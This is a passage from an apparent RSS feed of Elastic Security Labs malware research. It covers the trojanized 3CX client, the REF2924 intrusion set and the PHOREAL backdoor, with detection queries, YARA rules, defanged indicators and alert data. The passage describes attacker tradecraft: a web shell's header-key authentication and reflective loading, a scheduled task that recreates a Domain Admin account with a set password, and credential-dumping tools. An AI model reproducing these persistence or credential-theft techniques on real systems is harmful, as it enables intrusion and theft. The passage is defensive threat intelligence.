<p><code>library where process.code_signature.subject_name : &quot;3CX Ltd&quot; and not dll.code_signature.trusted == true and not startswith~(dll.name, process.name) and /* DLL loaded from the process.executable directory */ endswith~(substring(dll.path, 0, length(dll.path) - (length(dll.name) + 1)), substring(process.executable, 0, length(process.executable) - (length(process.name) + 1)))</code></p>
<h2>YARA</h2>
<p>Elastic Security Labs has released <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SuddenIcon.yar">two YARA signatures</a> for the malicious shellcode, which we refer to as SUDDENICON.</p>
<h2>Defensive recommendations</h2>
<p>Elastic Endgame and Elastic Endpoint customers with shellcode protections enabled in prevention mode blocked the execution of SUDDENICON, though any compromised client software may need to be removed. Due to the delayed shellcode retrieval and injection, 3CXDesktopApp users may not see alerts until the sleep interval passes (approximately 7 days). Customers who are using shellcode protections in detect-only mode should enable prevention to mitigate the risk of infection. Do not create exceptions for these alerts.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image2.jpg" alt="Enabling the Memory threat protection feature in Prevent mode" /></p>
<h1>References</h1>
<p>The following were referenced throughout the above research: - <a href="https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/">https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/</a> - <a href="https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/">https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/</a> - <a href="https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign">https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign</a></p>
<h1>Indicators</h1>
<h2>Potentially malicious domains</h2>
<p>Bold domains indicate that they were observed in our analysis.</p>
<ul>
<li>akamaicontainer[.]com</li>
<li>akamaitechcloudservices[.]com</li>
<li><code>azuredeploystore[.]com</code></li>
<li>azureonlinecloud[.]com</li>
<li>azureonlinestorage[.]com</li>
<li>dunamistrd[.]com</li>
<li>glcloudservice[.]com</li>
<li>journalide[.]org</li>
<li><code>msedgepackageinfo[.]com</code></li>
<li>msstorageazure[.]com</li>
<li><code>msstorageboxes[.]com</code></li>
<li><code>officeaddons[.]com</code></li>
<li><code>officestoragebox[.]com</code></li>
<li>pbxcloudeservices[.]com</li>
<li>pbxphonenetwork[.]com</li>
<li>pbxsources[.]com</li>
<li>qwepoi123098[.]com</li>
<li>sbmsa[.]wiki</li>
<li><code>sourceslabs[.]com</code></li>
<li><code>visualstudiofactory[.]com</code></li>
<li><code>zacharryblogs[.]com</code></li>
</ul>
<h1>Potentially impacted 3CXDesktopApp versions and hashes:</h1>
<p>Client hash: <code>dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc</code> OS: Windows Installer hash: <code>aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868</code> Installer filename: <code>3cxdesktopapp-18.12.407.msi</code></p>
<p>Client hash: <code>fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405</code> OS: Windows Installer hash: <code>59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983</code> Installer filename: <code>3cxdesktopapp-18.12.416.msi</code></p>
<p>Client hash: <code>92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61</code> OS: macOS Installer hash: <code>5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290</code> Installer filename: <code>3CXDesktopApp-18.11.1213.dmg</code></p>
<p>Client hash: <code>b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb</code> OS: macOS Installer hash: <code>e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec</code> Installer filename: <code>3cxdesktopapp-latest.dmg</code></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/photo-edited-06@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[REF2924: how to maintain persistence as an (advanced?) threat]]></title>
            <link>https://www.elastic.co/es/security-labs/ref2924-howto-maintain-persistence-as-an-advanced-threat</link>
            <guid>ref2924-howto-maintain-persistence-as-an-advanced-threat</guid>
            <pubDate>Mon, 27 Mar 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs describes new persistence techniques used by the group behind SIESTAGRAPH, NAPLISTENER, and SOMNIRECORD.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>In recent months, there has been a noticeable shift in the nature of the incidents being tracked under REF2924. Initially, the attacker employed custom, purpose-built malware. As the attack evolved, we observed the same group resorting to the use of open source tools or publicly available source code as a basis for developing new capabilities.</p>
<h3>Key takeaways</h3>
<ul>
<li>
<p>The attacker has shifted from using custom malware to open source tools or publicly available source code to develop new capabilities.</p>
<ul>
<li>The attacker has also deployed open source tools like TFirewall and AdFind in the victim's environment.</li>
<li>In order to maintain persistence the attacker has deployed multiple different tools and techniques.</li>
</ul>
</li>
</ul>
<h3>.NET Webshell</h3>
<p>On February 16th, 2023 Elastic Security Labs observed the Microsoft .NET compiler ( <code>csc.exe</code> ) being used to compile a DLL file,. The output was identified by <a href="https://www.elastic.co/es/security-labs/assets/images/ref2924-howto-maintain-persistence-as-an-advanced-threat/image2.jpg">Elastic Defend</a> as a malicious file. Analysts who may have observed dynamic runtime compilation of .NET web shells should note that this was performed by the operator, not automatically by the system.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ref2924-howto-maintain-persistence-as-an-advanced-threat/image4.jpg" alt="The attacker uses the C# compiler to prepare a .NET webshell for use" /></p>
<p>The resulting output file was named <code>App_Web_lgntop.aspx.ec688436.pkx46see.dll</code> (a50ca8df4181918fe0636272f31e19815f1b97cce6d871e15e03b0ee0e3da17b) and was the subject of malware analysis.</p>
<h4>Analysis</h4>
<p>The web shell requires a small amount of pre-configuration to ensure it listens for the correct URI. In this case the path will be &quot; <code>~/auth/Current/themes/resources/lgntop.aspx</code>&quot;.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ref2924-howto-maintain-persistence-as-an-advanced-threat/image6.jpg" alt="Registering the URI" /></p>
<p>This path is expected on Microsoft Exchange Outlook Web Access (OWA) sites, so it was likely selected to blend in with the OWA service that is running on the target server. Once a web request is received it is processed by the following method.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ref2924-howto-maintain-persistence-as-an-advanced-threat/image2.jpg" alt="Request processing method." /></p>
<p>This method checks if a specific HTTP header named <code>XFF</code> is present in the request headers. If it is present and its value, after passing through an MD5 hash function and a substring function, matches the string &quot; <code>19267E61029B4546</code>&quot;, then the method proceeds to execute the rest of the code. The string is likely used as an authentication key to prevent others from using the webshell.</p>
<p>Within the <code>if</code> statement, the method reads the binary data from the request body using the <code>BinaryRead</code> method and stores it in a byte array. It then creates a string containing the fully qualified name of a .NET type that the code wants to load and gets a reference to that type using the <code>Type.GetType</code> method. The byte array in the image is the ASCII code representation of the text “ <code>System.Reflection.Assembly</code> ”. This way of presenting the code is done in order to avoid string-based detection. The <code>System.Reflection.Assembly</code> class provides methods and properties to load, examine, and manipulate assemblies at runtime.</p>
<p>The code obtains a reference to a method named <code>Load</code> in the loaded type and invokes it using the <code>Invoke</code> method. The <code>Load</code> method takes a byte array as a parameter, which the code decrypts using a <code>Decrypt</code> method (not shown in this publication). The result of the <code>Load</code> method invocation is stored in an object variable.</p>
<p>The code then gets a reference to another method named <code>CreateInstance</code> in the loaded type and invokes it using the <code>Invoke</code> method. The <code>CreateInstance</code> method takes a string as a parameter, which the code constructs from a byte array containing the ASCII codes for the string U. The result of the <code>CreateInstance</code> method invocation is stored in an object variable.</p>
<p>Finally, the code calls the <code>Equals</code> method on the object, passing in the current object. Because <code>Equals</code> will call <code>GetType</code> on the object, this approach is a way to indirectly call functions covertly.</p>
<p>The <code>Encrypt</code> and <code>Decrypt</code> functions include a hard-coded key.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ref2924-howto-maintain-persistence-as-an-advanced-threat/image1.png" alt="The Encrypt function" /></p>
<h4>Sources</h4>
<p>The key &quot; <code>e45e329feb5d925b</code>&quot; is the result of taking the first half of the MD5 hash of the string &quot;rebeyond&quot;. The string “rebeyond” refers to the developer of the Behinder web shell framework. This refers to the developer of the <a href="https://github.com/rebeyond/Behinder">Behinder</a> webshell framework. This key is also the default value when you generate a shell template using the Behinder or derivative <a href="https://github.com/BeichenDream/Godzilla">Godzilla</a> webshell frameworks.</p>
<h3>Persistence module</h3>
<p>On February 13, 2023, we observed a new persistent malware called <code>kavUpdate.exe</code> written in .NET with an exceptionally small footprint (about 6Kb compiled). We believe this software was developed specifically for this environment by the threat. Elastic Security Labs observed this binary persisting via a Scheduled Task, though other mechanisms would likely be compatible.</p>
<h4>Analysis</h4>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ref2924-howto-maintain-persistence-as-an-advanced-threat/image3.jpg" alt="" /></p>
<p>This code is designed with the sole purpose of executing a set of predefined commands. The malware checks the current day and hour, and if it is Monday or Thursday at 5am, it will execute a series of commands:</p>
<ol>
<li>Delete the user 'norshasa'</li>
<li>Add the user 'norshasa' with the password '<a href="mailto:P@ssw0rd123">P@ssw0rd123</a>...'</li>
<li>Activate the user 'norshasa'</li>
<li>Add the user 'norshasa' to the Domain Admins group</li>
<li>Add the user 'norshasa' to the Remote Desktop Users group</li>
<li>Create a <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732530(v=ws.11)">full backup of NTDS</a> in the <code>C:\ProgramData\temp</code> folder</li>
<li>On the same days of the week, one hour later at 6am, delete the user 'norshasa.'</li>
</ol>
<h3>Open source tools</h3>
<p>On January 2nd, 2023 the threat deployed <a href="https://www.elastic.co/es/security-labs/assets/images/ref2924-howto-maintain-persistence-as-an-advanced-threat/image2.jpg">TFirewall</a> in the victim's environment. TFirewall is a testing tool designed to evaluate whether hosts can establish a SOCKS5 proxy within an intranet environment while allowing for outbound network communication through specific ports. Developed using Golang, TFirewall is comprised of a client and server component and is compatible with multiple operating systems.</p>
<p>Along with TFirewall, we observed that the attacker used the free tool <a href="https://www.elastic.co/es/security-labs/assets/images/ref2924-howto-maintain-persistence-as-an-advanced-threat/image1.png">AdFind</a>. <code>AdFind</code> is a command line utility for querying Active Directory and other directory services. AdFind can be run on Windows 7 or newer and requires no special security permissions beyond the ability to launch executables. It’s written in C++ and compiled with Visual Studio 2022. The source code is not available.</p>
<p>The binary is <a href="https://www.elastic.co/es/security-labs/assets/images/ref2924-howto-maintain-persistence-as-an-advanced-threat/image2.jpg">quickly identifiable</a> based on its hash (114b37df703d46a44de0bc96afab8b8590e59a3c389558dd531298e5dd275acb). During execution, we recognized the use of AdFind-specific command line flags and parameters:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ref2924-howto-maintain-persistence-as-an-advanced-threat/image2.jpg" alt="AdFind Parameters" /></p>
<p>On March 6th, 2023 we observed a process named <code>nat.exe</code>. Initially, the file was only identified as generically malicious. However, if we take a closer look at the command line parameters that are used during execution, we have a hint for which tool the attacker is using.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ref2924-howto-maintain-persistence-as-an-advanced-threat/image1.png" alt="Commandline parameters for nat.exe" /></p>
<p>Based on these arguments, we can safely conclude it's a packed version of the Impacket tool <a href="https://github.com/fortra/impacket/blob/master/examples/secretsdump.py">secretsdump</a>. Impacket contains a collection of Python classes for working with network protocols. Impacket is commonly used to carry out a variety of tasks related to network security and penetration testing, though it may also be abused by threat actors.</p>
<p>Using the same approach (examining the command line parameters), we identified the use of the tool called <a href="https://github.com/zcgonvh/NTDSDumpEx">NTDSDumpEx</a> which exhibited the same command line arguments employed by this tool:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/ref2924-howto-maintain-persistence-as-an-advanced-threat/image3.jpg" alt="Commandline arguments for NTDSDumpEx" /></p>
<p><code>NTDSDumpEx</code> is capable of extracting data from the Active Directory NTDS.dit database in its offline state, meaning the database does not have to be running. It can extract information such as user accounts, group memberships, access control lists, and other directory objects.</p>
<h3>Background</h3>
<p>Throughout the attack we witnessed a combination of TTPs that provide a recognizable fingerprint. For example, the way the attacker exported mailboxes is described in detail in <a href="https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E4%BB%8EExchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E6%90%9C%E7%B4%A2%E5%92%8C%E5%AF%BC%E5%87%BA%E9%82%AE%E4%BB%B6">this</a> blog post. We also see a strong resemblance in the way credentials from LSASS are being exported, as described <a href="https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E4%BB%8Elsass.exe%E8%BF%9B%E7%A8%8B%E5%AF%BC%E5%87%BA%E5%87%AD%E6%8D%AE">here</a>. The majority of the commands and tools deployed by the attacker are well described on the same GitHub users’ <a href="https://github.com/3gstudent/Pentest-and-Development-Tips">tips</a> repository.</p>
<p>We also note that the technique used to deploy NAPLISTENER is described <a href="https://3gstudent.github.io/%E5%88%A9%E7%94%A8IIS%E7%9A%84%E7%AB%AF%E5%8F%A3%E5%85%B1%E4%BA%AB%E5%8A%9F%E8%83%BD%E7%BB%95%E8%BF%87%E9%98%B2%E7%81%AB%E5%A2%99">here</a> and the deployment method for malicious IIS modules like DOORME can be found in <a href="https://3gstudent.github.io/%E5%88%A9%E7%94%A8IIS%E7%9A%84%E6%A8%A1%E5%9D%97%E5%8A%9F%E8%83%BD%E7%BB%95%E8%BF%87%E9%98%B2%E7%81%AB%E5%A2%99">this</a> blog post. And lastly, a <a href="https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Exchange%E4%B8%80%E5%8F%A5%E8%AF%9D%E5%90%8E%E9%97%A8%E7%9A%84%E6%89%A9%E5%B1%95">post</a> on Godzilla and Behinder web shells in exchange servers closely reflects how these capabilities were implemented within targeted environments.</p>
<p>During malware analysis of the SIESTAGRAPH, NAPLISTENER, and SOMNIRECORD families, we also identified open source repositories that minimally served as the inspiration for these payloads and which have been described in other publications from Elastic Security Labs.</p>
<p>We conclude that the attackers are at the very least regular consumers of blogs and open source repositories, both of which have contributed to the rapid pace of this threat’s activities.</p>
<h3>Detection logic</h3>
<p>The following prebuilt protections are available from Elastic: - <a href="https://www.elastic.co/es/guide/en/security/current/adfind-command-activity.html">AdFind Command Activity</a></p>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the Behinder web shell.</p>
<p><code>rule Windows_Trojan_Behinder {     meta:         author = &quot;Elastic Security&quot;         creation_date = &quot;2023-03-02&quot;         last_modified = &quot;2023-03-02&quot;         description = &quot;Web shell found in REF2924, related to Behinder or Godzilla&quot;         os = &quot;Windows&quot;         arch = &quot;x86&quot;         category_type = &quot;Trojan&quot;         family = &quot;Behinder&quot;         threat_name = &quot;Windows.Trojan.Behinder&quot;         License = “Elastic License v2”         reference_sample = &quot;a50ca8df4181918fe0636272f31e19815f1b97cce6d871e15e03b0ee0e3da17b&quot;     strings:         $load = { 53 79 73 74 65 6D 2E 52 65 66 6C 65 63 74 69 6F 6E 2E 41 73 73 65 6D 62 6C 79 }         $key = &quot;e45e329feb5d925b&quot; ascii wide     condition:         all of them }</code></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/ref2924-howto-maintain-persistence-as-an-advanced-threat/blog-thumb-pink-grapefruit-outlier.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[PHOREAL Malware Targets the Southeast Asian Financial Sector]]></title>
            <link>https://www.elastic.co/es/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector</link>
            <guid>phoreal-malware-targets-the-southeast-asian-financial-sector</guid>
            <pubDate>Thu, 02 Mar 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security discovered PHOREAL malware, which is targeting Southeast Asia financial organizations, particularly those in the Vietnamese financial sector.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Elastic Security has identified an ongoing campaign targeting a Vietnamese financial services institution with the PHOREAL/RIZZO backdoor. While this malware has been in use for some time, this is the first time that we have observed it loading into memory as a defense evasion and campaign protection technique. Upon analysis of our own observations and previously reported information, we are tracking this activity group (malware + technique + victimology) as REF4322.</p>
<h3>What is the threat?</h3>
<p>PHOREAL/RIZZO is a backdoor allowing initial victim characterization and follow-on post-exploitation operations to compromise the confidentiality of organizations’ data. It has been reported in other research as being used exclusively by APT32 (AKA SeaLotus, OceanLotus, APT-C-00, Group G0050).</p>
<h3>What is the impact?</h3>
<p>APT32 largely targets victims with political or economic interests in Southeast Asia, specifically Vietnam.</p>
<h3>What is Elastic doing about it?</h3>
<p>Elastic Security detailed how to triage one of these threat alerts, extracted observables for endpoint and network filtering, and produced a new malware signature for identification and mitigation of the threat across the fleet of deployed Elastic Agents.</p>
<h2>Investigation Details</h2>
<p>While conducting Threat Discovery &amp; Monitoring operations, Elastic Security researchers identified a cluster of shellcode_thread Windows memory protection alerts generated from an Elastic Agent endpoint sensor. These particular alerts were interesting because they all occurred within the same cluster, and unusually they targeted the control.exe process. The Windows control.exe process handles the execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.</p>
<p>Generally when we observe false positives for the shellcode_thread protection, it is identified across a broad user-base and in many cases it is attributed to various gaming anti-cheat or DRM (Digital Rights Management) mechanisms. In this case, a single cluster and a Microsoft signed target process was atypical, and worthy of further investigation.</p>
<blockquote>
<p>You can read more about Elastic Security’s memory protections <a href="https://www.elastic.co/es/blog/whats-new-elastic-security-7-15-0#:~:text=Memory%20threat%20protection%20for%20Windows%20endpoints">HERE</a> and about in-memory attacks <a href="https://www.elastic.co/es/blog/hunting-memory">HERE</a>.</p>
</blockquote>
<p>With our interest piqued from the outlier characteristics of the alerts, we investigated further to validate and characterize the threat:</p>
<p><strong>Targeted process is a signed Windows binary</strong></p>
<pre><code>...
&quot;process&quot;: {
     &quot;args&quot;: [
       &quot;control.exe&quot;,
       &quot;Firewall.cpl&quot;,
       &quot;{2D48D219-C306-4349-AE1F-09744DFFB5B9}&quot;
     ],
     &quot;Ext&quot;: {
       &quot;code_signature&quot;: [
         {
           &quot;trusted&quot;: true,
           &quot;subject_name&quot;: &quot;Microsoft Windows&quot;,
           &quot;exists&quot;: true,
           &quot;status&quot;: &quot;trusted&quot;
         }
       ],
       &quot;dll&quot;: [
...

</code></pre>
<p><strong>Unsigned loaded .dll</strong></p>
<pre><code>...
   &quot;Ext&quot;: {
     &quot;mapped_address&quot;: 1945501696,
     &quot;mapped_size&quot;: 21135360
   },
   &quot;path&quot;: &quot;C:\\Windows\\SysWOW64\\tscon32.dll&quot;,
   &quot;code_signature&quot;: [
     {
       &quot;exists&quot;: false
     }
   ],
   &quot;name&quot;: &quot;tscon32.dll&quot;,
   &quot;hash&quot;: {
     &quot;sha1&quot;: &quot;007970b7a42852b55379ef4cffa4475865c69d48&quot;,
     &quot;sha256&quot;: &quot;ec5d5e18804e5d8118c459f5b6f3ca96047d629a50d1a0571dee0ac8d5a4ce33&quot;,
     &quot;md5&quot;: &quot;2b6da20e4fc1af2c5dd5c6f6191936d1&quot;
   }
 },
...

</code></pre>
<p><strong>Starting module from the alerting thread</strong></p>
<pre><code>...
 &quot;pe&quot;: {
   &quot;original_file_name&quot;: &quot;CONTROL.EXE&quot;
 },
 &quot;name&quot;: &quot;control.exe&quot;,
 &quot;pid&quot;: 5284,
 &quot;thread&quot;: {
   &quot;Ext&quot;: {
     &quot;start_address_module&quot;: &quot;C:\\Windows\\SysWOW64\\tscon32.dll&quot;,
...

</code></pre>
<p><strong>Alerting memory region metadata</strong></p>
<pre><code>...
&quot;memory_region&quot;: {`
   &quot;region_size&quot;: 73728,
   &quot;region_protection&quot;: &quot;RWX&quot;,
   &quot;allocation_base&quot;: 81395712,
   &quot;bytes_allocation_offset&quot;: 0,
   &quot;allocation_type&quot;: &quot;PRIVATE&quot;,
   &quot;memory_pe_detected&quot;: true,
   &quot;region_state&quot;: &quot;COMMIT&quot;,
   &quot;strings&quot;: [
     &quot;QSSSSSSh &quot;,
     ...
     &quot;bad cast&quot;,
     &quot;Local\\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}&quot;,
     &quot;Netapi32.dll&quot;,
     &quot;NetWkstaGetInfo&quot;,
     &quot;NetApiBufferFree&quot;,
     &quot;\\\\.\\pipe\\{A06F176F-79F1-473E-AF44-9763E3CB34E5}&quot;,
     &quot;list&lt;T&gt; too long&quot;,
     &quot;{FD5F8447-657A-45C1-894B-D533926C9B66}.dll&quot;,
     &quot;DllEntry&quot;,
     ...
     &quot;.?AVbad_alloc@std@@&quot;,
     &quot;C:\\Windows\\syswow64\\control.exe&quot;,
     &quot;:z:zzzzzz7&quot;,
     ...
     &quot;InternalName&quot;,
     &quot;mobsync.exe&quot;,
     &quot;LegalCopyright&quot;,
...

</code></pre>
<p><strong>Thread data for pivoting</strong></p>
<pre><code>...
&quot;thread&quot;: {
 &quot;Ext&quot;: {
   &quot;start_address_bytes&quot;: &quot;8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300&quot;,
   ...
   &quot;start_address_bytes_disasm&quot;: &quot;mov edi, edi\npush ebp\nmov ebp, esp\ncall 0x000043f0\ncall 0x000043ea\npush eax\ncall 0x000043d0\ntest eax, eax\njnz 0x00000038\npush dword ptr [ebp+0x08]&quot;
 },
...

</code></pre>
<p>From the example alert we first identify the start_address_module which is the dll/module where the thread began. C:\Windows\SysWOW64\tscon32.dll is the start_address_module for the thread that we’ve alerted on. It’s also the only unsigned dll loaded, so a great place to focus our efforts. When checking the hash value in VirusTotal, to identify previously disclosed information about the sample, we did not see any results.</p>
<p>Digging deeper, we looked at the start_address_bytes, which are the first 32 bytes of our alerting thread. We can use the value of the start_address_bytes (8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300) to search for pivots in VirusTotal by querying content: {8bff558bec56e83f3e0000e8343e000050e8143e000085c0752a8b750856e821}. We identified relatively few results, but they included <a href="https://www.virustotal.com/gui/file/88f073552b30462a00d1d612b1638b0508e4ef02c15cf46203998091f0aef4de">the below entry</a> first submitted in July 2021.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/VT_result_matching_start_address_bytes_.jpg" alt="VT result matching start_address_bytes" /></p>
<p>In researching the results from VirusTotal, we could see that threat researcher Felix Bilstein (<a href="https://twitter.com/fxb_b">@fxb_b</a>) authored a crowdsourced YARA rule identifying this as the <a href="https://attack.mitre.org/software/S0158/">PHOREAL</a> backdoor. Moving on to the CONTENT tab, we can compare some of the strings from our alert with what has been previously reported to VirusTotal.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/VT_result_CONTENT_tab.jpg" alt="VT result CONTENT tab" /></p>
<p>Using the unique strings we identified above and the start_address_bytes, we can create a YARA signature by converting the unique strings ($a) and the start_address_bytes ($b) into hex values as shown below.</p>
<p><strong>Converted YARA strings</strong></p>
<pre><code>strings:
          \\  &quot;\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}&quot;  ascii wide
    $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
            30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
            31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
            2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
            45 00 35 00 7D 00 }

          \\  &quot;Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}&quot;  ascii wide
    $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
            33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
            32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
            37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

          \\  &quot;{FD5F8447-657A-45C1-894B-D533926C9B66}.dll&quot;  ascii
    $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
            34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

          \\  PHOREAL start_address_bytes sequence
          \\  mov edi, edi; push ebp; mov ebp, esp; call 0x000043f0;
          \\  call 0x000043ea; push eax; call 0x000043d0; test eax, eax;
          \\  jnz 0x00000038; push dword ptr [ebp+0x08]
    $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
            00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
condition:
    2 of them

</code></pre>
<p>This rule when deployed to the Elastic Agent will identify PHOREAL to customers and backstop prevention already provided through the shellcode_thread memory protection (in customer environments with memory protection turned on). In our case this rule’s deployment also enabled the collection of the malicious thread using the same mechanism detailed in our <a href="https://www.elastic.co/es/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack">Collecting Cobalt Strike Beacons</a> article.</p>
<p>Shortly after the new YARA artifact was deployed we had a new malware_signature alert in hand with the malicious thread captured from memory. Manual binary triage from our Malware Analysis and Reverse Engineering (MARE) Team quickly confirmed the sample was PHOREAL/RIZZO by comparing the structure and functions between our sample and past reporting. Further, they were able to extract an RC4 encrypted domain from an <a href="https://docs.microsoft.com/en-us/windows/win32/menurc/rcdata-resource">RCDATA resource</a> as described in a <a href="https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.10.17.OceanLotus_SpyRATs/SpyRATsofOceanLotusMalwareWhitePaper.pdf">2018 CYLANCE OceanLotus whitepaper</a>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/RC4_decrypting_binary_embedded_URL.jpg" alt="RC4 decrypting binary embedded URL" /></p>
<p>The domain identified by MARE (thelivemusicgroup[.]com) currently resolves to 103.75.117[.]250 which is owned by Oneprovider[.]com, a dedicated server hosting company based out of Canada with data centers distributed globally.</p>
<p><strong><a href="https://ipinfo.io/">https://ipinfo.io/</a> query results for 103.75.117[.]250</strong></p>
<pre><code>{
  &quot;ip&quot;: &quot;103.75.117[.]250&quot;,
  &quot;city&quot;: &quot;Hong Kong&quot;,
  &quot;region&quot;: &quot;Central and Western&quot;,
  &quot;country&quot;: &quot;HK&quot;,
  &quot;loc&quot;: &quot;22.2783,114.1747&quot;,
  &quot;org&quot;: &quot;AS133752 Leaseweb Asia Pacific pte. ltd.&quot;,
  &quot;timezone&quot;: &quot;Asia/Hong_Kong&quot;,
  &quot;asn&quot;: {
    &quot;asn&quot;: &quot;AS133752&quot;,
    &quot;name&quot;: &quot;Leaseweb Asia Pacific pte. ltd.&quot;,
    &quot;domain&quot;: &quot;leaseweb.com&quot;,
    &quot;route&quot;: &quot;103.75.117[.]0/24&quot;,
    &quot;type&quot;: &quot;hosting&quot;
  },
  &quot;company&quot;: {
    &quot;name&quot;: &quot;Oneprovider.com - Hong Kong Infrastructure&quot;,
    &quot;domain&quot;: &quot;oneprovider[.]com&quot;,
    &quot;type&quot;: &quot;hosting&quot;
  },
  &quot;privacy&quot;: {
    &quot;vpn&quot;: false,
    &quot;proxy&quot;: false,
    &quot;tor&quot;: false,
    &quot;relay&quot;: false,
    &quot;hosting&quot;: true,
    &quot;service&quot;: &quot;&quot;
  },
  &quot;abuse&quot;: {
    &quot;address&quot;: &quot;1500 Ste-Rose LAVAL H7R 1S4 Laval Quebec, Canada&quot;,
    &quot;country&quot;: &quot;CA&quot;,
    &quot;email&quot;: &quot;info@oneprovider.com&quot;,
    &quot;name&quot;: &quot;ONE PROVIDER&quot;,
    &quot;network&quot;: &quot;103.75.117[.]0/24&quot;,
    &quot;phone&quot;: &quot;+1 514 286-0253&quot;
  },
  &quot;domains&quot;: {
    &quot;ip&quot;: &quot;103.75.117[.]250&quot;,
    &quot;total&quot;: 2,
    &quot;domains&quot;: [
      &quot;thelivemusicgroup[.]com&quot;,
      &quot;cdn-api-cn-1[.]com&quot;
    ]
  }

</code></pre>
<p>Most of the interesting information about the domain is privacy guarded, but the “Updated” and “Created” dates in the below figure might be useful for bounding how long this domain has been used maliciously.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/https-lookup.jpg" alt="https://lookup.icann.org/lookup for thelivemusicgroup[.]com" /></p>
<p>The Elastic Agent appears to have been deployed post-compromise which limited our ability to determine the vector of initial access. A <a href="https://www.mandiant.com/resources/cyber-espionage-apt32">2017 Mandiant report</a> indicates that PHOREAL may be deployed in an “establish foothold” capacity to allow for victim triage and follow-on post-exploitation tools.</p>
<h2>Analysis</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries and victims of intrusions.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/REF4322_Diamond_Model_Analysis.png" alt="REF4322 Diamond Model Analysis" /></p>
<h3>Adversary Assessment Justification</h3>
